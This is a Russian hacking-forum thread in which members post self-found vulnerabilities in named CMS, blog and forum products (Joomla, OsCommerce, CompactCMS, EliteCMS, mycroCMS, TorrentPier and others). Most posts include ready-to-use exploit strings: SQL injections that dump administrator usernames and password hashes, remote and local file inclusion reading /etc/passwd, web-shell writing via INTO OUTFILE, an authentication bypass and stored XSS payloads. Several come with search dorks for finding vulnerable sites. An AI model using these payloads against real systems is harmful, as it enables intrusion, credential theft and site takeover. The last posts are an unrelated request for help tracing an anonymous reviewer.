Уязвимые КМС, Блоги, Форумы и т.п. — HackZona.Ru

Здесь выкладываем только те уязвимости которые вы нашли сами никакой перепечатки и т.п. Уязвимость должна обыть описана в таком формате к примеру: Название:MegaCool CMS Название вашего эксплоита:MegaCool killer Описание уязвимости: Неавторизированный доступ к БД. Не посредственно сам эксплоит: по идеи должен быть тут. Автор: Я или же так: Название:MegaCool CMS Уязвимость:MegaCool xss Описание уязвимости: Активная xss позволяющая стать мега-админом. Автор: Я Так и только так.

Уязвимые КМС, Блоги, Форумы и т.п.

Сообщений в теме: 21
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
Здесь выкладываем только те уязвимости которые вы нашли сами никакой перепечатки и т.п.

Уязвимость должна обыть описана в таком формате к примеру:


Название:MegaCool CMS

Название вашего эксплоита:MegaCool killer

Описание уязвимости: Неавторизированный доступ к БД.

Не посредственно сам эксплоит: по идеи должен быть тут.

Автор: Я


или же так:


Название:MegaCool CMS

Уязвимость:MegaCool xss

Описание уязвимости: Активная xss позволяющая стать мега-админом.

Автор: Я


Так и только так.
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
Что ж начну я…


Название:Bpanel CMS

Оф сайт:[url]www.bpanel.net[/url]

Описание уязвимости: Возможна не авторизованная загрузка файлов, на сайт жертву.Папка в которую вы пишите должна быть открыта на запись, в эксплоите папка:siteimg.

Exploit:
[code]
Добавьте файл с расширением .jpeg

Вложить файл, размер не более 45000 байт



[/code]

Уязвимость найдена:JeyEvilDi

Автор эксплоита:JeyEvilDi

Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
iJoomla Magazine v 2.1.x Blind sql-inj

Уязвимость iJoomla Magazine в параметре id
эксплоит:[code]
site/index2.php?option=com_magazine&func;=show_magazine&id;=[id]+and+[подзапрос][/code]
где [id] — реально существующий id страницы, [подзапрос] — логическое выражение.
Если логическое выражение возвращает TRUE, отображается страница с id=[id]
По умолчанию данные пользователей находятся в таблице jos_users, имя пользователя — поле username, пароль — поле password, пример:
Автор:Scipio
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
LIMBO CMS (Lite mambo)Blind sql-inj

Уязвимость в модуле голосования LIMBO CMS, в параметре pollid
эксплоит:
http://site/index.php?option=polls&Itemid;=0&pollid;=[id]/**/and/**/[подзапрос]
где [id] — реально существующий id голосования, [подзапрос] — логическое выражение.
Если логическое выражение возвращает FALSE, голосование не отображается.
Т.к. префикс по умолчанию выбирается случайным образом, вместо префикса при выборке в подзапросе надо указывать после FROM %23__[имя таблицы], где [имя таблицы] — имя таблицы без префикса например:
http://site/index.php?option=polls&Itemid;=0&pollid;=[id]/**/and/**/substring((SELECT/**/1/**/from/**/%23__users),1,1)=1

Автор:Scipio
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
ABO CMS Blind sql-inj (платный движек)

Уязвимость в модуле статистики, скрипт c.php
требования mysql 4.1 и выше
сплоит:
www.blacktoad.info/exploits/ABOCMS_exploit.txt

Автор:Scipio
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
VisualPic v0.3.1 Rfi
версия 0.3.1 точно уязвима, возможно более ранние тоже, не стал их смотреть, точнее кроме 0.3.1 вобще никакие не смотрел…
уязвимый скрипт index.php
сплоит:
http://[site]/index.php?_CONFIG[files][functions_page]=[шелл]

вобще там многие параметры уязвимы, но приводить их не имеет смысла
бажный код:
[code]…
$_CONFIG['files']['functions_page'] = 'functions_page.php';

parse_str($_SERVER['QUERY_STRING']);

include($_CONFIG['files']['functions_page']);
...[/code]
Т.о. влепив посередине строку parse_str($_SERVER['QUERY_STRING']); добрые разработчики любезно предоставили возможность перезаписать любую ранее объявленную переменную
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 99
Сообщения: 0
GlobeWeb

Сайт разработчика:
[url]http://globeweb.biz/[/url]

Потенциально уязвимы:
[url]http://globeweb.biz/?page=portfolio[/url]

Неавторизированный доступ к БД:

Фильтруются символы: -- /* concat concat_ws

Пример:
[url]http://teletesting.ru/modules/articles/index.php?op=viewarticle&artid;=11+union+select+1,2,table_name,4,5,6,7,8,9,10+from+information_schema.tables+limit+18,1[/url]

Уязвимость обнаружена: Kerny
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
Буду потихоньку класть сюда свои раскопки…

ABO-CMS SQL-injection: c.php?lang=ru_counter_tables+ASCII(substring((SELECT+table_name+from+INFORMATION_SCHEMA.tables+LIMIT+1),1,1))>1/*

OsCommerce SQL-injection: advanced_search_result.php?inc_subcat=1&keywords;=%20&categories;_id=-1+union+select+1,concat_ws(%27;%27,user_name,user_ password)+from+administrators+limit+1,1--
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
во-первых не правильно оформлено,
во-вторых зачем постить про ABO-CMS, если в этом топике есть сплоит под этот двиг и эту багу?
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
[color=green]Продукт:[/color]: AEF (форумный движок)
[color=green]Сайт:[/color]: [url]http://www.anelectron.com[/url]
[color=green]Дорк:[/color]: «Powered by AEF» (250 000 результатов)
[color=green]Уязвимость:[/color]: Активная XSS.
Уязвимость присутствует из-за небезопасной обработки BB-тегов.
Можно вызвать разрушение тегов, и, как следствие, выполнение javascript-кода.
Пример эксплуатации:

[*url]http://asd.asd[*email][email protected] onmouseover=alert() bla=[*/email][*/url]


На выходе получаем:

<a href="[color=blue]http://asd.asd<a href=[/color]«mailto:[email protected] onmouseover=alert() bla=» target="_blank">[email protected] onmouseover=alert() bla=" target="_blank">http://asd.asd[email protected] onmouseover=alert() bla=


Можно также провести атаку через стили (для ie и ff), тогда можно спрятать куски разрушенного тега:

[*url]http://asd.asd[*email][email protected] style=display:none;olo:expression(alert());-moz-binding:url() bla=[*/email][*/url]
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
[color=green]Продукт:[/color]: Beehive (форумный движок)
[color=green]Сайт:[/color]: [url]http://beehiveforum.sourceforge.net/[/url]
[color=green]Дорк:[/color]: «Project Beehive Forum» (?)
[color=green]Уязвимость:[/color]: Активная XSS.
Уязвимость существует из-за недостаточной фильтрации слова javascript в сообщении.
Строчка из /include/fixhtml.php (скрипт «безопасной» обработки html):
$attrib_value = preg_replace("/javascript:/ixu", '', $attrib_value);

В движке разрешён html, а это ограничение обходится простым кодированием html (протокол от этого валидность не теряет):
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
[center][color=green]Joomla XSS[/color][/center]

XSS присутствует в компоненте com_admin.

Уязвимая строчка в [B]\joomla\administrator\components\com_admin\admin.admin.html.php[/B]:
/>

Заходим на [url]http://localhost/joomla/administrator/index.php?option=com_admin&task;=help[/url].
Там есть поле для поиска. Текст из него не htmlspecialchar-ится, но какая-то странная фильтрация есть.
Почему-то, если набрать, скажем, так: "><img src=«blabla....., этот тег обрезается, то есть написать новый тег у меня не получилось.
Что ж, приходится обходиться свойствами тега .
XSS в post-параметре админки, поэтому она не работала бы без XSRF.
Собственно, сплойт:

[code]
/>
/>
/>
/>

<sс<sс<sс<sсript>document.getElementById(»xsrf").click();


[/code]

В чём суть: я сделал так, чтобы поле поиска стало длинным, так что, если админ проведёт мышкой по экрану, сработает xss. Вероятность этого весьма велика.

[center][color=green]Joomla XSS[/color][/center]

XSS наподобии вышеописанной, но удобнее:

http://localhost/administrator/index.php?option=com_content&search;=%22%20size=100%20onmouseover=alert()%20bla


Никаких CSRF и post не нужно
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
[color=green]Продукт:[/color]: CompactCMS
[color=green]Сайт:[/color]: [url]http://www.compactcms.nl[/url]
[color=green]Дорк:[/color]: Maintained with CompactCMS
[color=green]Уязвимость:[/color]: SQL-инъекция
Требования: magic_quotes=Off.
Эксплуатация:
http://demo.compactcms.nl/afdrukken.php?page='+union+select+'<?system($_GET[c]);?>'+INTO+OUTFILE+'shell.php'--

Причины в /lib/sitemap.php:
[code]…
$curr_page = isset($_GET['page'])? mysql_real_escape_string($_GET['page']): null;

if(!empty($_GET['page'])) {
$result = mysql_query(«SELECT * FROM `pages` WHERE `urlpage` = '$curr_page'», $link);
}
...[/code]
Если file_priv=N, толку почти никакого.
Там же пассивная XSS, от которой тем более никакого толку.
[color=green]Уязвимость:[/color]: Исполнение произвольного кода.
Требования: права админа (админка по умолчанию не запаролена — /admin)
Жмём Create a new page, создаём страничку с php-кодом, затем она инклудится, и мы имеем шелл.
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
[color=green]Продукт:[/color]: EliteCMS (light — бесплатная версия)
[color=green]Сайт:[/color]: [url]http://elitecms.net[/url]
[color=green]Дорк:[/color]: «Powored by Elite CMS» (именно с опечаткой) или «Powered by Elite CMS»
[color=green]Уязвимость[/color]: [color=white]Обход авторизации[/color]
Требования: php version < 4.3.0, кодировка BIG5, GBK или SJIS.
Ну это экзотичная бага, требующая очень сильных особых условий, выкладываю в образовательных целях. Смотрим на /admin/login.php:
[code]…
$user_name = mysql_prep($_POST['user_name']);
$password = mysql_prep($_POST['password']);
$h_password = sha1($password);

$query = " SELECT id, user_name, s_admin ";
$query .= " FROM users ";
$query .= " WHERE user_name = '{$user_name}' ";
$query .= " AND h_password = '{$h_password}' ";
$query .= " AND active = 1 ";
$query .= " LIMIT 1 ";
$result = mysql_query($query);
...[/code]
Функция mysql_prep() определена в /includes/functions.php:
[code]function mysql_prep($value)
{
$magic_quotes_active = get_magic_quotes_gpc();
$new_enough_php = function_exists(«mysql_real_escape_string»); // i.e. PHP >= v4.3.0
if ($new_enough_php) { // PHP v4.3.0 or higher
// undo any magic quote effects so mysql_real_escape_string can do the work
if ($magic_quotes_active) {
$value = stripslashes($value);
}
$value = mysql_real_escape_string($value);
} else { // before PHP v4.3.0
// if magic quotes aren't already on then add slashes manually
if (!$magic_quotes_active) {
$value = addslashes($value);
}
// if magic quotes are active, then the slashes already exist
}
return $value;
}[/code]
Эксплуатация может выглядеть так:
post /admin/login.php user_name=%c327+or+1=1--

[color=green]Уязвимость[/color]: [color=white]Исполнение произвольного кода[/color]
Требования: права админа
В админке через скрипт /admin/manage_uploads.php заливаем шелл. Никакой фильтрации нет, он окажется в папке /uploads/.
[color=green]Уязвимость[/color]: [color=white]smtp-header инъекция[/color]
Уязвимость существует из-за недостаточной обработки входящих данных в скрипте обратной связи /includes/contact_form.php.
Вот участок кода:
[code]…
$mailTo = $settings['site_email'];
$subject = «Feedback email from your eliteCMS website»;
$name = $_POST['name'];
$sender_email = $_POST['sender_email'];
$message = $_POST['message'];
$headers = 'From: Email processed by eliteCMS contact form'. "\r\n". 'X-Mailer: PHP/'. phpversion();

$body = «Hello sir,\n»;
$body .= «A visitor from your eliteCMS website »;
$body .= «send an email to you. \n»;
$body .= «Visitor's details are :\n»;
$body .= " \n";
$body .= «Visitor's Email: {$sender_email} \n»;
$body .= «Visitor's Name: {$name} \n»;
$body .= «Email Message: {$message} \n»;
$body .= " \n";
//email success msg
$sendmail = @mail($mailTo, $subject, $body, $headers);
...[/code]
Уязвимость может использоваться для спама, путём добавления параметров (например, RCPT TO: ), разделённых CRLF-последовательностью, в заголовок сообщения.
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
[center][color=green]Бесполезная бага в Joomla или «логическая sql-инъекция»[/color][/center]

Взглянем на скрипт \joomla\administrator\components\com_users\views\users\view.html.php.
Там есть такой участок:
[code] $query = 'SELECT a.*, g.name AS groupname'
. ' FROM #__users AS a'
. ' INNER JOIN #__core_acl_aro AS aro ON aro.value = a.id'
. ' INNER JOIN #__core_acl_groups_aro_map AS gm ON gm.aro_id = aro.id'
. ' INNER JOIN #__core_acl_aro_groups AS g ON g.id = gm.group_id'
. $filter
. $where
. ' GROUP BY a.id'
. $orderby
;[/code]
Выше определена переменная [B]$orderby[/B]:
 $orderby = ' ORDER BY '. $filter_order .' '. $filter_order_Dir;

Причём переменные $filter_order и $filter_order_Dir определяются пользователем.
В админке во всех секциях есть hidden-поля в формах с этими переменными.
Что ж, подставим левые значения, например, asd и fgh соответственно: [url]http://localhost/joomla/administrator/index.php?option=com_content&filter;_order=asd&filter;_order_Dir=fgh[/url]
Получаем следующий ответ:
[code]500 — An error has occurred!

DB function failed with error number 1064
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'fgh, section_name, cc.title, c.ordering LIMIT 0, 20' at line 1 SQL=SELECT c.*, g.name AS groupname, cc.title AS name, u.name AS editor, f.content_id AS frontpage, s.title AS section_name, v.name AS author FROM jos_content AS c LEFT JOIN jos_categories AS cc ON cc.id = c.catid LEFT JOIN jos_sections AS s ON s.id = c.sectionid LEFT JOIN jos_groups AS g ON g.id = c.access LEFT JOIN jos_users AS u ON u.id = c.checked_out LEFT JOIN jos_users AS v ON v.id = c.created_by LEFT JOIN jos_content_frontpage AS f ON f.content_id = c.id WHERE c.state != -2 ORDER BY asd fgh, section_name, cc.title, c.ordering LIMIT 0, 20[/code]
Как мы видим, наши значения попали в sql-запрос. Но они всё же фильтруются — большая часть спецзнаков не пропускается, разрешены, например, точки, поскольку они нужны в нормальном запросе.
Казалось бы, из такой «sql-инъекции» ничего кроме префикса таблиц не выжать.
Однако, просмотрим админку и увидим страницу управления пользователями: [url]http://localhost/joomla/administrator/index.php?option=com_users[/url]
Вышеупомянутые параметры в этой секции используются для сортировки пользователей (подставляются в ORDER BY).
И тут внезапно: а что если отсортировать их по паролю?
Ну: [url]http://localhost/joomla/administrator/index.php?option=com_users&filter;_order=a.password[/url]
Теперь можно создать пользователя, сделать ему какой-то пароль, затем отсортировать на этой странице, и мы увидим, где по алфавиту находится хеш админа — выше или ниже хеша нашего пользователя.
Далее можно организовать бинарный поиск и вытащить весь хеш админа.
Конец.

P.S. Разумеется, эта бага в Joomla совершенно ничего не даёт, поскольку она в админке, а xsrf там нет. Я написал про неё лишь для того, чтобы показать саму возможность подобных атак. Такая ситуация может возникнуть, например, в форумном движке, где список пользователей может быть доступен каждому. Мораль: переменные надо не только фильтровать на спецсимволы, но и проверять введённые данные на логическую совместимость.

P.P.S. В vbulletin, например, скрипт memberlist.php ограничивает параметры для сортировки:
[code] switch ($sortfield)
{
case 'username':
$sqlsort = 'user.username';
break;
case 'joindate':
$sqlsort = 'user.joindate';
break;
case 'posts':
$sqlsort = 'user.posts';
break;
case 'lastvisit':
$sqlsort = 'lastvisittime';
break;
case 'reputation':
$sqlsort = iif($show['reputationcol'], 'reputationscore', 'user.username');
$secondarysortsql = ', user.username';
break;
case 'age':
if ($show['agecol'])
{
$sqlsort = 'agesort';
$secondarysortsql = ', user.username';
}
else
{
$sqlsort = 'user.username';
}
break;
default:
$sqlsort = 'user.username';
$sortfield = 'username';
}[/code]
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
[color=green]Продукт[/color]: mycroCMS
[color=green]Сайт[/color]: [url]http://sourceforge.net/projects/mycrocms/[/url]
[color=yellow]Path diclosing[/color]
[indent]
http://localhost/mycrocms/?entry_id='
[/indent]
[color=yellow]LFI[/color]
[indent]
Участок кода в /admin/admin.php:
[php]
if ($admin==«error»){
include («error.php»);
}elseif ($userManager->isLoggedIn()) {
if ($admin == "") {
include («dashboard.php»);
} else {
if (file_exists(«admin/$admin.php»)) {
include («admin/$admin.php»);
} else {
die(«File admin/$admin.php does not exist!»);
}
}
$userManager->setLastTime(time());
} else {
if ($admin == "") {
include («dashboard.php»);
} else {
if (file_exists(«admin/$admin.php»)) {
include («admin/$admin.php»);

} else {
die(«File admin/$admin.php does not exist!»);
}
}
$userManager->setLastTime(time());
}
[/php]
Отсюда инклуд. Эксплуатация:
[code]
localhost/mycrocms/?admin=../../../../../../etc/passwd%00
[/code]
(права админа не нужны)
[/indent]
[color=yellow]SQL-Injection[/color]
[indent]
magiq_quotes=Off
Смотрим в \include\Categories.php:
[php]
function get_category_by_id($id) {
global $sql, $categories;

// use array if preloaded
if (is_array($categories)) {
$res = array_search_recursive('category_id', $id, $categories);

}

if (!is_array($res[0])) {

$res = $sql->read('categories', 'category_id', $id);
}
return $res[0];
}
[/php]
Теперь ищем метод read в классе sql. Весь код кидать не буду, но фильтрации там нет.
[php]
$sql = «SELECT * FROM `$tablep` ». $where. $order. $limit;

$result = mysql_query($sql);
[/php]
Пример эксплуатации:
[code]
localhost/mycrocms/?cat_id=1'+and+row(1,1)%3E(select+count(*),concat(version(),0x3a,floor(rand()*2))+x+from+mysql.user+group+by+x+limit+1)+and+'a'='a
[/code]
[/indent]
[color=yellow]Code Execution[/color]
[indent]
Заливка шелла в админке. Идём в меню Plugins, там есть стандартный плагин second для редактирования шаблонов (а на деле — любых файлов). Активируем его, затем идём на [url]http://localhost/mycrocms/?plugin=second&page;=themes[/url] и редактируем любой файл.
[/indent]
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
люди можете подсказать ехплойт к vBulleten 3.8.1 и мануал к ниму спасибо
Нравится
Не нравится
Репутация: 1
Рейтинг: 3
Кол-во тем: 0
Сообщения: 1501
[CENTER][COLOR=«Green»][B]TorrentPier[/B][/COLOR] [/CENTER]
По началу думал что уязвимость в компоненте Poster_Mod for SVN, как выяснилось позже уязвимость существует в самом форуме. Точнее как я понял там по усмотрению администратора, хотят активируют, а хотят нет.
Имеем код:
[CODE]<?php
define('IN_PHPBB', true);
$phpbb_root_path = './';
include($phpbb_root_path. 'extension.inc');
include($phpbb_root_path. 'common.'. $phpEx);
$post_id = $_GET['id']? $_GET['id']: 0;
$post_data = $db->query(«SELECT post_html FROM ».POSTS_HTML_TABLE." WHERE post_id = $post_id LIMIT 1");
[/CODE]
[B]SQL-Injection[/B]
[CODE]http://site.ru/forum/viewpost.php?id=-1+union+(select+group_concat(concat_ws(0x3a3a3a,username,user_password,user_email)+separator+0x0a)+from+bb_users)[/CODE]
[URL=«torrentpier.info/»]Официальный сайт[/URL]
П.С. Отдельное спасибо fraIzer'у
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
Ребята, здравствуйте! Очень нужна помощь! Просто дико!
Есть такой странный сайт «универлайф». Там пишутся отзывы о преподавателях разных вузов. Про одну преподавательницу написали много всякой дряни. Ей кто-то «мудрый» непонятно как определил, что писала я (по айпиадресу моего компа определили номер мобильного телефона:confused:). Я точно знаю, что я ничего не писала. Скажите, можна ли определить, кто писал? У мене уровень пользования компом чисто любительский. То есть, что такое айпиадресс я знаю, но что с этим делать — неа:roll:. А пресс в универе реальный! Что можна сделать????
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
для тебя вряд ли
Нравится
Не нравится
Репутация: 0
Рейтинг: 1
Кол-во тем: 45
Сообщения: 0
сказать чо твой айпиадресс динамический и они ничего не смогут доказать, подай первым на суд за клевету )
Нравится
Не нравится
Репутация: 0
Рейтинг: 0
Кол-во тем: 0
Сообщения: 0
А вообще чисто для себя можна как-то вычислить, кто реально писал?
Для того, чтобы отвечать в темах на форуме необходимо войти на сайт или зарегистрироваться.